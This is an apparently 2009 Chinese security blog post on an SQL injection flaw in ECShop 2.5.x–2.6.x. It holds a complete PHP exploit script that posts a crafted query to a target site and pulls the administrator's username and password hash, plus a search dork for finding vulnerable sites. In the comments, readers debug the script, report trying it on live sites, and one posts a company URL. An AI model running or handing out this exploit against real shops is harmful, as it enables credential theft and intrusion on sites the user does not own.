ECShop注射漏洞

作者:Ryat
2009-03-24

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:

    if (empty($_GET['type']))
    {
        ...
    }
    elseif ($_GET['type'] == 'collection')
    {
        ...
    }
    $sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
    $res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)

EXP:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
 * works with register_globals = On
 */
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);

if ($hash)
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
    exit("Exploit Failed!\n");

function send()
{
    global $host, $path;

    $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';

    $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n";
    $data .= "Connection: Close\r\n\r\n";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

相关日志

楼被抢了 30 层了... 抢座Rss 2.0或者 Trackback

  • axuan

    看来今天又沙发了,正好用到2.6的ECSHOP,先测试一下

  • 明明

    能给份你WPblog的皮肤吗?
    给个链接或者发邮箱都可以

  • sExYboy

    试了几个,漏得很强

  • 主ID

    捏死你, 告诉哥哥怎么用哇

  • temphack

    这个EXP执行不了··syntax error, unexpected $end

    • testset

      你在代码的最加个}也许就好了

  • xsghti

    你代码复制不全哦
    是php的 最后你也要知道?>结尾
    你缺少了 $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = ”;

    while ($fp && !feof($fp))
    $resp .= fread($fp, 1024);

    return $resp;
    }

    ?>

  • upfont

    找了一个结尾的符号
    ?>
    加上就应该可以用了

  • luobo525

    没有写完啊,具体怎么使用这个漏洞?

  • upfont

    刚看了原来版本的 你的确少了点东西~~你已经修改好了不错

  • 网络夜精灵

    诚邀鬼仔进Q群 危险人物 46280175, ring04h 小波 网络小子 beach 宝宝 银色上帝等很多圈内朋友都在,现在希望你也能够进来。谢。

  • ufo

    为什么运行后是
    +—————————————————————————+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit by puret_t mail: puretot at gmail dot com team: http://bbs.wolvez.org dork: “Powered by ECShop” +—————————————————————————+ +—————————————————————————+ Usage: php host path host: target server (ip/hostname) path: path to ecshop Example: php localhost /ecshop/ +—————————————————————————+

    • sExYboy

      你没加参数 Usage都写出来了嘛…

  • 沙沙

    $host = $argv[1];
    $path = $argv[2];

    这二个地方怎么改呀?

    • 沙沙

      $host = localhost;
      $path = ‘/’

      是这样的吗?

  • testset

    本机测试成功,但换网上的一个没成功,”host”不支持域名格式的,望会的朋友指点.

    • 沙沙

      本机怎么测试成功的?如何修改呀?说明下

      • testset

        我什么都没修改,我直接用类似
        php exp.php 127.0.0.1 /ecshop/
        的格式就测试成功了

      • 回复该留言

        测试二级回复

  • null

    我是初学的,想想问一下为什么变量没有初始化就存在注入呀?$_GET获取的值不是被intval转化成整型了吗?
    谢谢回复一下

  • purpletea

    这么说的,我不敢用那个玩意了

  • 翔耔

    他们不解锁啊,要我找代理解锁。。。。

  • zz

    能不能给我发个传的呢, 最近有人说我们网站存在这个漏洞 可是看了半天也不知道要怎么用 您能不能给我发一个全的

    这是
    公司网址http://www.sdlpzx.com/index.php
    您能帮我改一下 然后发邮件给我吗
    加我QQ也行 471439353
    不胜感激

  • zz

    这个 麻烦 能不能把上面的网址给去了啊 谢谢

发表评论